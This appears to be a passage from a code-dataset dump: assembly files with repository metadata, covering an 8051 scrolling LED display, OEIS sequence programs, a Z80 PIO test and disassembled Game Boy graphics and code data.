0x03bd db #a0 ;GRAPHIC = # #
0x03be db #60 ;GRAPHIC = ## ASCII(`)
0x03bf db #00 ;GRAPHIC =
0x03c0 db #00 ;GRAPHIC =
0x03c1 db #00 ;GRAPHIC =
0x03c2 db #60 ;GRAPHIC = ## ASCII(`)
0x03c3 db #a0 ;GRAPHIC = # #
0x03c4 db #c0 ;GRAPHIC = ##
0x03c5 db #80 ;GRAPHIC = #
0x03c6 db #60 ;GRAPHIC = ## ASCII(`)
0x03c7 db #00 ;GRAPHIC =
0x03c8 db #00 ;GRAPHIC =
0x03c9 db #00 ;GRAPHIC =
0x03ca db #00 ;GRAPHIC =
0x03cb db #60 ;GRAPHIC = ## ASCII(`)
0x03cc db #40 ;GRAPHIC = # ASCII(@)
0x03cd db #40 ;GRAPHIC = # ASCII(@)
0x03ce db #50 ;GRAPHIC = # # ASCII(P)
0x03cf db #00 ;GRAPHIC =
0x03d0 db #00 ;GRAPHIC =
0x03d1 db #00 ;GRAPHIC =
0x03d2 db #00 ;GRAPHIC =
0x03d3 db #00 ;GRAPHIC =
0x03d4 db #00 ;GRAPHIC =
0x03d5 db #00 ;GRAPHIC =
| 25.625397 | 42 | 0.58387 |
21285d12081ed02f3ae4c4ad1b049edc3f67ff9e | 4,342 | asm | Assembly | Scrolling_text_animation/main.asm | ViacheslavBobrov/Intel_8051_Microcontroller | 1a9f1728028b095753440a8d7aff72860ef04feb | [
"MIT"
] | null | null | null | Scrolling_text_animation/main.asm | ViacheslavBobrov/Intel_8051_Microcontroller | 1a9f1728028b095753440a8d7aff72860ef04feb | [
"MIT"
] | null | null | null | Scrolling_text_animation/main.asm | ViacheslavBobrov/Intel_8051_Microcontroller | 1a9f1728028b095753440a8d7aff72860ef04feb | [
"MIT"
] | 1 | 2021-08-29T06:13:54.000Z | 2021-08-29T06:13:54.000Z | ;
; Led scrolling text animation
;
;=====================Initialization=======================//
ORG 0000h
LJMP INIT
ORG 001Bh
LJMP IT00
;---------Character table-------------------
ORG 0100H
; 0 1 2 3 4 5 6 7 8 9 A B C D E F
TABLE: DB 3Fh,06h,5Bh,4Fh,66h,6Dh,7Dh,07h,7Fh,6Fh,77h,7Ch,39h,5Eh,79h,71h ;0-F
ORG 0030h
INIT: CLR EA
MOV SP, #070h
; __ Timers intialization _____
MOV TMOD, #00010000b
MOV TH1, #00F6h ; 2.5 ms
MOV TL1, #0036h
MOV TCON, #01000000b
; __ Intrupts initialization ___
MOV IP, #00000000b
MOV IE, #00001000b
; __ Data initialization __
DELAY EQU 030h ; Counter for scrolling text speed
MOV DELAY, #100 ; Number of delays = 100 (2.5*100 = 250 ms)
COUNT EQU 031h ; Characters counter
MOV COUNT, #0
POZ EQU 032h ; Indicator position
MOV POZ, 01111111b ; Start from left side
MOV R0, #60h ; Address in video memory
;-------- Video memory --------------------------------
POS0 EQU 060h
POS1 EQU 061h
POS2 EQU 062h
POS3 EQU 063h
POS4 EQU 064h
POS5 EQU 065h
POS6 EQU 066h
POS7 EQU 067h
;-------- Video memory initialization------------------
MOV POS0, #3Fh ; 00111111
MOV POS1, #0
MOV POS2, #0
MOV POS3, #0
MOV POS4, #0
MOV POS5, #0
MOV POS6, #0
MOV POS7, #0
SETB EA
LJMP M0
; =====================Interrupts=========================//
IT00: MOV TH1, #00F6h
MOV TL1, #0036h
CJNE R0, #68h, FILL ; If address != 68 (max = 67) go to FILL
; 250 ms delay
DJNZ DELAY, EXIT ; If 250 ms not passed, exit interrupt
MOV DELAY, #100 ; else: restore counter
MOV R0, #60h ; go to the start address
; Cyclic shift of values in video memory cells
MOV POS7, POS6
MOV POS6, POS5
MOV POS5, POS4
MOV POS4, POS3
MOV POS3, POS2
MOV POS2, POS1
MOV POS1, POS0
; Get next character
INC COUNT ; Next character in the table
MOV A, COUNT
CJNE A, #16, SEG
MOV COUNT, #0
; Get segment code
SEG: MOV DPTR, #TABLE ; Loading table address in DPTR
MOV A, COUNT ; Number oif the character
MOVC A, @A+DPTR
MOV POS0, A
LJMP EXIT
FILL:
; Display chracter in on of the 1-8 cells
MOV P0, POZ
SETB P2.3
MOV P0, @R0
CLR P2.3
; Switch to the next cell
MOV A, POZ
RR A ; Shift to the right
MOV POZ, A
INC R0 ; Go to the next addres in video memory
EXIT: RETI
;======================Main program =================//
M0: LJMP M0
END | 36.79661 | 88 | 0.32819 |
14f8d1abce425a0e66883a0d48278374431de4ed | 1,250 | asm | Assembly | programs/oeis/006/A006446.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/006/A006446.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/006/A006446.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A006446: Numbers k such that floor(sqrt(k)) divides k.
; 1,2,3,4,6,8,9,12,15,16,20,24,25,30,35,36,42,48,49,56,63,64,72,80,81,90,99,100,110,120,121,132,143,144,156,168,169,182,195,196,210,224,225,240,255,256,272,288,289,306,323,324,342,360,361,380,399,400,420,440,441,462,483,484,506,528,529,552,575,576,600,624,625,650,675,676,702,728,729,756,783,784,812,840,841,870,899,900,930,960,961,992,1023,1024,1056,1088,1089,1122,1155,1156,1190,1224,1225,1260,1295,1296,1332,1368,1369,1406,1443,1444,1482,1520,1521,1560,1599,1600,1640,1680,1681,1722,1763,1764,1806,1848,1849,1892,1935,1936,1980,2024,2025,2070,2115,2116,2162,2208,2209,2256,2303,2304,2352,2400,2401,2450,2499,2500,2550,2600,2601,2652,2703,2704,2756,2808,2809,2862,2915,2916,2970,3024,3025,3080,3135,3136,3192,3248,3249,3306,3363,3364,3422,3480,3481,3540,3599,3600,3660,3720,3721,3782,3843,3844,3906,3968,3969,4032,4095,4096,4160,4224,4225,4290,4355,4356,4422,4488,4489,4556,4623,4624,4692,4760,4761,4830,4899,4900,4970,5040,5041,5112,5183,5184,5256,5328,5329,5402,5475,5476,5550,5624,5625,5700,5775,5776,5852,5928,5929,6006,6083,6084,6162,6240,6241,6320,6399,6400,6480,6560,6561,6642,6723,6724,6806,6888,6889,6972,7055,7056
add $0,1
lpb $0
sub $1,$2
add $1,$0
trn $0,3
add $2,1
lpe
| 113.636364 | 1,125 | 0.7576 |
db458100dcbdf54f2ae31b4b23e9e1311c95d8e9 | 796 | asm | Assembly | oeis/142/A142928.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142928.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142928.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142928: Primes congruent to 7 mod 64.
; Submitted by Jon Maiga
; 7,71,199,263,647,839,967,1031,1223,1543,1607,2311,2503,2887,3079,3271,3463,3527,3719,3847,3911,4231,4423,4679,4871,4999,5639,6151,6343,6599,6791,6983,7559,7687,7879,8263,8647,8839,9479,10247,10567,10631,11399,11527,11719,11783,12487,12743,13063,13127,13831,14087,14407,14983,15559,16007,16519,16903,17159,17351,17863,18119,18311,18439,18503,19079,19207,19463,20231,20359,20551,20743,20807,21191,21319,21383,21767,22279,22343,22727,23431,23623,23687,23879,24007,24071,24391,24967,25031,25799,26119
mov $2,36
mul $2,$0
mov $4,6
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,64
lpe
mov $0,$4
add $0,1
| 37.904762 | 498 | 0.733668 |
dbc28aecf3852165c8085ca96001fe8bcd5a18c3 | 297 | asm | Assembly | programs/oeis/117/A117643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/117/A117643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/117/A117643.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A117643: a(n) = n*(a(n-1)-1) starting with a(0)=3.
; 3,2,2,3,8,35,204,1421,11360,102231,1022300,11245289,134943456,1754264915,24559708796,368395631925,5894330110784,100203611883311,1803665013899580,34269635264092001
mov $1,3
mov $2,$0
lpb $2,1
sub $2,1
add $3,1
mul $1,$3
sub $1,$3
lpe
| 24.75 | 164 | 0.707071 |
4253ddcff56d4db8eae82e0ef07eaa81f636b422 | 142 | asm | Assembly | libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_play.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_play.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/sound/bit/c/sccz80/bit_play.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; char *bit_play(char *melody)
SECTION code_clib
SECTION code_sound_bit
PUBLIC bit_play
EXTERN asm_bit_play
defc bit_play = asm_bit_play
| 11.833333 | 30 | 0.809859 |
cac8faafcbbf55c8515c079d8d4a53093f3a1bff | 420 | asm | Assembly | programs/oeis/026/A026055.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/026/A026055.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/026/A026055.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A026055: a(n) = (d(n)-r(n))/2, where d = A026054 and r is the periodic sequence with fundamental period (1,0,0,0).
; 6,14,25,40,59,84,114,150,192,242,299,364,437,520,612,714,826,950,1085,1232,1391,1564,1750,1950,2164,2394,2639,2900,3177,3472,3784,4114,4462,4830,5217,5624,6051,6500,6970,7462,7976,8514,9075,9660,10269,10904,11564,12250,12962,13702,14469,15264
add $0,3
mov $1,10
add $1,$0
bin $0,2
mul $0,$1
div $0,6
| 42 | 244 | 0.711905 |
a463d50439fb9d25c58dbb47d160a098ea315494 | 772 | asm | Assembly | oeis/130/A130915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/130/A130915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/130/A130915.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A130915: Number of permutations in the symmetric group S_n in which cycle lengths are odd and greater than 1.
; Submitted by Christian Krause
; 0,0,2,0,24,40,720,2688,42560,245376,4072320,31672960,569935872,5576263680,109492807424,1290701905920,27616577064960,380852962029568,8845627365089280,139696582370328576,3506062524305162240,62387728088875499520,1684340707284076756992,33342258050269414850560,964194096325869645594624,21015959254532094964531200,648398630344490389289369600,15430067652302291156308328448,506077429736860998095949004800,13055714621509186615025330814976,453711522728572061649463879925760,12612466607658824280202790232391680
mov $2,1
lpb $0
sub $4,$1
mov $1,$4
mul $1,$0
mul $2,$0
sub $0,1
mov $4,$2
add $2,$3
mov $3,$1
lpe
mov $0,$1
| 45.411765 | 501 | 0.829016 |
168e6f44a6b492994a412eeacaefb44740ee99c2 | 332 | asm | Assembly | oeis/021/A021618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/021/A021618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/021/A021618.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A021618: Decimal expansion of 1/614.
; Submitted by Christian Krause
; 0,0,1,6,2,8,6,6,4,4,9,5,1,1,4,0,0,6,5,1,4,6,5,7,9,8,0,4,5,6,0,2,6,0,5,8,6,3,1,9,2,1,8,2,4,1,0,4,2,3,4,5,2,7,6,8,7,2,9,6,4,1,6,9,3,8,1,1,0,7,4,9,1,8,5,6,6,7,7,5,2,4,4,2,9,9,6,7,4,2,6,7,1,0,0,9,7,7,1
add $0,1
mov $2,10
pow $2,$0
mov $0,$2
div $0,614
mod $0,10
| 30.181818 | 199 | 0.566265 |
ab60fe08ea78195ccc51a18d425980e1f7993ec8 | 526 | asm | Assembly | oeis/340/A340227.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/340/A340227.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/340/A340227.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A340227: Number of pairs of divisors of n, (d1,d2), such that d1 < d2 and d1*d2 is squarefree.
; Submitted by Simon Strandgaard
; 0,1,1,1,1,4,1,1,1,4,1,4,1,4,4,1,1,4,1,4,4,4,1,4,1,4,1,4,1,13,1,1,4,4,4,4,1,4,4,4,1,13,1,4,4,4,1,4,1,4,4,4,1,4,4,4,4,4,1,13,1,4,4,1,4,13,1,4,4,13,1,4,1,4,4,4,4,13,1,4,1,4,1,13,4,4,4,4,1,13
add $0,1
mov $1,1
mov $2,2
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
lpb $0
dif $0,$2
lpe
mul $1,3
lpe
mov $0,$1
div $0,2
| 21.04 | 189 | 0.539924 |
de90cb8ae4783d29b0c36a80915c4aa24b9f6330 | 242 | asm | Assembly | dino/lcs/base/4E5.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | dino/lcs/base/4E5.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | dino/lcs/base/4E5.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
006B92 move.b D0, ($4e5,A5)
006B96 rts [base+4E5]
006BAC move.b ($4e5,A5), D1
006BB0 move.w ($4c,PC,D1.w), D1 [base+4E5]
copyright zengfr site:http://github.com/zengfr/romhack
| 26.888889 | 54 | 0.698347 |
02765b4c03e3114917e432c54400be79702c9b84 | 3,389 | asm | Assembly | V2/src/PIO/PIO_SEND_TEST.z80.asm | anjennings/Tom80 | 99b58b32b923068c26e8781912ad825978b10f37 | [
"MIT"
] | 55 | 2021-01-16T16:18:45.000Z | 2022-03-28T17:58:05.000Z | V2/src/PIO/PIO_SEND_TEST.z80.asm | anjennings/Z80-Computer | 99b58b32b923068c26e8781912ad825978b10f37 | [
"MIT"
] | 1 | 2021-03-19T13:38:28.000Z | 2021-03-19T14:04:13.000Z | V2/src/PIO/PIO_SEND_TEST.z80.asm | anjennings/Z80-Computer | 99b58b32b923068c26e8781912ad825978b10f37 | [
"MIT"
] | 8 | 2021-02-07T18:52:32.000Z | 2022-01-18T07:00:45.000Z | PIO_BASE equ 0x0
PIO_PORTA_DAT equ (PIO_BASE)
PIO_PORTB_DAT equ (PIO_BASE+1)
PIO_PORTA_CON equ (PIO_BASE+2)
PIO_PORTB_CON equ (PIO_BASE+3)
;Interrupt Vector
PIO_INT_HIGH equ 0x04
PIO_INT_LOW equ 0x00 ;LSB is disregarded by PIO
PIO_INT equ ((PIO_INT_HIGH*256) + (PIO_INT_LOW))
PIO_INT_VECT_A equ (PIO_INT_LOW & 0xFE)
PIO_INT_VECT_B equ (PIO_INT_LOW & 0xFE)
;Mode Control Words
PIO_A_OUT equ 0x0F ;MODE 0
PIO_A_IN equ 0x4F ;MODE 1
PIO_A_BI equ 0x8F ;MODE 2
PIO_A_CON equ 0xCF ;MODE 3
PIO_B_OUT equ 0x0F ;MODE 0
PIO_B_IN equ 0x4F ;MODE 1
PIO_B_CON equ 0xCF ;MODE 3
PIO_B_CON_IO equ 0x00 ;Follows mode 3, Set PB0, all of port B to outputs
PORTB_MASK equ 0x07
;Interrupt Contro Words
PIO_INT_EN_A equ 0x87 ;Enable interrupt for mode 0-2
PIO_INT_EN_B equ 0x97 ;Enable interrupt for mode 3, mask follows
PIO_INT_DE equ 0x07 ;Disable interrupt for all modes
PIO_MASK equ 0xFF ;Must follow Int enable on mode 3
org 0
DI
;Turn off indicator light
IN A, 0x14
XOR 0x08
OUT 0x14, A
;Init
CALL PIO_INIT_BI
;Run the test
LD A, 0x41
CALL PIO_SEND_CMD
DI
;Turn other indicator light off
IN A, 0x14
XOR 0x4
OUT 0x14, A
HALT
;Program should halt with all 3 lights off
PIO_INIT_BI:
PUSH AF
PUSH BC
DI
;Set interrupt page
LD A, PIO_INT_HIGH
LD I, A
;Set Interrupt Vector on port A and B to be the same (they can be different)
LD A, PIO_INT_VECT_A
OUT PIO_PORTA_CON, A
LD A, PIO_INT_VECT_B
OUT PIO_PORTB_CON, A
;Set port A as bi-directional
LD A, PIO_A_BI
OUT PIO_PORTA_CON, A
;Set port B as manual control
LD A, PIO_B_CON
OUT PIO_PORTB_CON, A
LD A, PIO_B_CON_IO
OUT PIO_PORTB_CON, A
;Set Interrupt Enable (Both must be set to on in bi mode)
LD A, PIO_INT_EN_A
OUT PIO_PORTA_CON, A
LD A, PIO_INT_EN_B
OUT PIO_PORTB_CON, A
LD A, PIO_MASK
OUT PIO_PORTB_CON, A
;Put port B in a known state
LD A, 0xFF
OUT PIO_PORTB_DAT, A
;Put port A in a known state
LD A, 0x00
OUT PIO_PORTA_DAT, A
POP BC
POP AF
IM 2
EI
RET
PIO_BASELINE:
PUSH AF
LD A, 0x41
CALL PIO_SEND_CMD
POP AF
RET
;Send command, busy wait, return after second interrupt
;Expects A to be command
;Returns value in A
PIO_SEND_CMD:
PUSH BC
PUSH HL
EI
;Write to PIO (Check status beforehand?)
LD C, PIO_PORTA_DAT
OUT (C), A
;HALT ;Wait for Prop to acknowledge write
HALT ;Wait until data is returned
;Read data from PIO
LD C, PIO_PORTA_DAT
IN A, (C)
POP HL
POP BC
RET
PIO_INT_HANDLER:
;Exchange registers
EX AF, AF'
EXX
;Do anything?
PIO_INT_EXIT:
EX AF, AF'
EXX
RETI
org PIO_INT
.db (PIO_INT_HANDLER) | 23.372414 | 84 | 0.557392 |
7d00499d34807291163b550c391c6cd982cead4d | 465 | asm | Assembly | programs/oeis/056/A056998.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/056/A056998.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/056/A056998.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A056998: Number of days in months of Islamic calendar.
; 30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,30,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30,29,30
mov $4,$0
sub $0,34
mod $4,2
cmp $0,$4
add $0,5
mov $1,1
mul $1,$4
mov $5,1
add $5,$1
mov $1,8
sub $5,1
mov $3,$5
mul $3,2
sub $3,$0
mov $2,$3
lpb $0
gcd $0,$2
sub $0,1
add $1,1
lpe
add $1,20
| 18.6 | 208 | 0.615054 |
a5586510f559b5eac65e413f1a08891d378b7134 | 133,291 | asm | Assembly | bank13.asm | alexsteb/zelda_gb_disassembly | 0efeb3d9b26108c73fb3ace43b6b0a4a8520b179 | [
"MIT"
] | 3 | 2018-06-28T06:59:28.000Z | 2019-09-06T05:49:00.000Z | bank13.asm | alexsteb/zelda_gb_disassembly | 0efeb3d9b26108c73fb3ace43b6b0a4a8520b179 | [
"MIT"
] | null | null | null | bank13.asm | alexsteb/zelda_gb_disassembly | 0efeb3d9b26108c73fb3ace43b6b0a4a8520b179 | [
"MIT"
] | null | null | null | nop
nop
ld a, a
nop
ld [hl], b
ccf
ld a, b
ccf
ld e, h
ccf
ld c, [hl]
ccf
ld b, a
ccf
ld b, e
ccf
nop
nop
cp $00
ld c, $fc
ld e, $fc
ldd a, [hl]
<error>
ld [hl], d
<error>
ldh [c], a
<error>
jp nz, .l_43fc
ccf
ld b, a
ccf
ld c, [hl]
ccf
ld e, h
ccf
ld a, b
ccf
ld [hl], b
ccf
ld a, a
nop
nop
nop
jp nz, .l_e2fc
<error>
ld [hl], d
<error>
ldd a, [hl]
<error>
ld e, $fc
ld c, $fc
cp $00
nop
nop
nop
ccf
jr nz, 0.l_4063
ld d, b
adc a, a
jr z, 0.l_400f
inc d
<error>
ld a, [bc]
pop af
dec b
ldhl sp, d
ld [bc], a
<error>
nop
<error>
inc b
ldhl sp, d
ld a, [bc]
pop af
inc d
<error>
jr z, 0.l_4021
ld d, b
adc a, a
and b
rr a
ld b, b
ccf
ld [bc], a
<error>
dec b
ldhl sp, d
ld a, [bc]
pop af
inc d
<error>
jr z, 0.l_4031
ld d, b
adc a, a
jr nz, 0.l_408d
nop
ccf
ld b, b
ccf
and b
rr a
ld d, b
adc a, a
jr z, 0.l_403f
inc d
<error>
ld a, [bc]
pop af
inc b
ldhl sp, d
nop
<error>
nop
nop
rst 38
nop
ld h, b
sbc a, a
nop
rst 38
nop
rst 38
ld b, $ff
ld b, $f9
nop
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
ret nz
rst 38
ld b, $f9
ld sp, hl
ld b, $ff
rst 38
jr 0.l_409f
ld b, b
ccf
ld b, [hl]
dec a
ld b, [hl]
dec a
ld b, b
ccf
ld b, b
ccf
ld h, b
rr a
ld h, b
rr a
ld b, b
ccf
ld h, e
rst 18
ld d, e
rst 28
ld d, e
rst 28
<error>
rst 18
<error>
rst 18
ld h, e
rst 18
ld l, e
rst 18
ld l, e
rst 18
add a, c
nop
ld a, [hl]
add a, c
add a, l
ei
add a, c
rst 38
add a, c
rst 38
<error>
rst 38
rst 30
ld a, $3e
<error>
rst 38
rst 38
rst 38
rst 38
pop bc
cp a
pop hl
rst 18
halt
<error>
<error>
ld [hl], $ff
rst 38
inc a
<error>
cp [hl]
ld a, l
ld b, a
ld a, $63
rr a
ld b, c
ccf
ld b, e
ccf
ld b, a
ld a, $46
dec a
cp [hl]
ld a, l
ld l, a
rst 18
ld d, e
rst 38
di
ld l, a
<error>
rst 18
di
rst 28
ei
ld [hl], a
ld a, a
<error>
ld l, a
rst 18
ret nz
rst 38
rst 38
rst 38
ld a, a
ldh a, [$ff00 + $70]
rst 38
ld a, b
rst 18
ld l, h
rst 18
ld h, a
rst 18
ld h, e
rst 18
inc bc
rst 38
rst 38
rst 38
cp $0f
ld c, $ff
ld e, $fb
ld [hl], $fb
and $fb
add a, $fb
ld h, e
rst 18
ld h, e
rst 18
ld h, [hl]
rst 18
ld l, h
rst 18
ld a, b
rst 18
ld a, a
ldh a, [$ff00 + $ff]
rst 38
ret nz
rst 38
add a, $fb
add a, $fb
ld h, [hl]
ei
ld [hl], $fb
ld e, $fb
cp $0f
rst 38
rst 38
inc bc
rst 38
ld h, e
ld e, a
and e
rst 18
jp .l_131f
rst 28
dec bc
rst 30
rlc a
ei
rst 38
rst 38
rst 38
rst 38
add a, $fa
push bc
ei
jp .l_c8f8
rst 30
ret nc
rst 28
ldh [$ff00 + $df], a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rlc a
ei
dec bc
rst 30
inc de
rst 28
jp .l_a31f
rst 18
ld h, e
ld e, a
rst 38
rst 38
rst 38
rst 38
ldh [$ff00 + $df], a
ret nc
rst 28
ret z
rst 30
jp .l_c5f8
ei
add a, $fa
jr 0.l_4181
rst 38
rst 38
ld sp, hl
ld b, $06
ld sp, hl
ret nz
rst 38
nop
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
ld b, $f9
ld b, $ff
nop
rst 38
nop
rst 38
ld h, b
sbc a, a
rst 38
nop
nop
nop
add a, $fb
jp z, .l_caf7
rst 30
rst 0
ei
rst 0
ei
add a, $fb
sub a, $fb
sub a, $fb
ld [bc], a
<error>
ld h, d
cp h
ld h, d
cp h
ld [bc], a
<error>
ld [bc], a
<error>
ld b, $f8
ld b, $f8
ld [bc], a
<error>
inc a
<error>
rst 38
rst 38
<error>
ld [hl], $76
<error>
pop hl
rst 18
pop bc
cp a
rst 38
rst 38
rst 38
rst 38
ld a, $dd
rst 30
ld a, $e3
rst 38
add a, c
rst 38
add a, c
rst 38
add a, l
ei
ld a, [hl]
add a, c
add a, c
nop
or $fb
jp z, .l_cfff
or $c7
ei
rst 8
rst 30
rst 18
xor $fe
<error>
or $fb
ld a, l
cp [hl]
ldh [c], a
ld a, h
add a, $f8
add a, d
<error>
jp nz, .l_e2fc
ld a, h
ld h, d
cp h
ld a, l
cp [hl]
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
rst 38
add a, b
ret nz
cp a
ret nz
cp a
ret nz
cp a
ret nz
cp a
ld bc, $0101
ld bc, $0101
rst 38
ld bc, $fd03
inc bc
<error>
inc bc
<error>
inc bc
<error>
rst 38
rst 38
ret nz
cp h
pop bc
cp l
pop bc
cp l
pop bc
cp c
jp .l_c3bb
cp e
ret nz
cp h
rst 38
rst 38
inc bc
dec a
add a, e
cp l
add a, e
cp l
add a, e
sbc a, l
jp .l_c3dd
<error>
inc bc
dec a
rst 38
rst 38
rr a
nop
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
stop
rrc a
rst 38
rst 38
rst 38
ld bc, $ff01
ld bc, $01ff
rst 38
ld bc, $618f
ld h, c
ld a, l
ld a, l
rst 38
rst 38
rst 38
add a, b
add a, b
rst 38
add a, b
rst 38
add a, b
rst 38
add a, b
pop af
add a, [hl]
add a, [hl]
cp [hl]
cp [hl]
rst 38
rst 38
ldhl sp, d
nop
ld [$08f0], sp
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $08]
ldh a, [$ff00 + $bf]
rst 38
cp h
rst 38
<error>
rst 38
ld sp, hl
rst 38
rr a
rst 38
rst 38
rst 38
pop af
rst 38
rst 30
rst 38
cp a
rst 38
cp h
rst 38
<error>
rst 38
ld sp, hl
rst 38
sbc a, a
rst 38
rst 38
rst 38
rst 38
inc a
rst 38
jr 0.l_42a0
rst 38
rst 38
sbc a, [hl]
rst 38
adc a, h
sbc a, $80
<error>
and c
jp nc, .l_ccb3
cp a
ret nz
cp a
rst 38
rst 38
rst 38
ld a, c
rst 38
ld sp, $017b
or a
add a, l
ld c, e
call func_fd33
inc bc
<error>
add a, c
add a, c
rst 38
add a, c
rst 38
rst 38
ld h, [hl]
jp .l_c366
ld a, [hl]
rst 20
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld bc, $f117
cpl
<error>
ld e, a
rst 0
ld e, a
rst 0
cpl
<error>
rl a
pop af
rst 38
rst 38
rst 38
add a, b
add sp, d
adc a, a
<error>
rst 0
ld a, [$fae3]
<error>
<error>
rst 0
add sp, d
adc a, a
rst 38
rst 38
rst 38
rst 38
ld a, [hl]
rst 20
ld h, [hl]
jp .l_c366
rst 38
rst 38
rst 38
add a, c
add a, c
add a, c
ret nz
cp h
jp .l_c3bb
cp e
pop bc
cp c
pop bc
cp l
pop bc
cp l
ret nz
cp h
rst 38
rst 38
inc bc
dec a
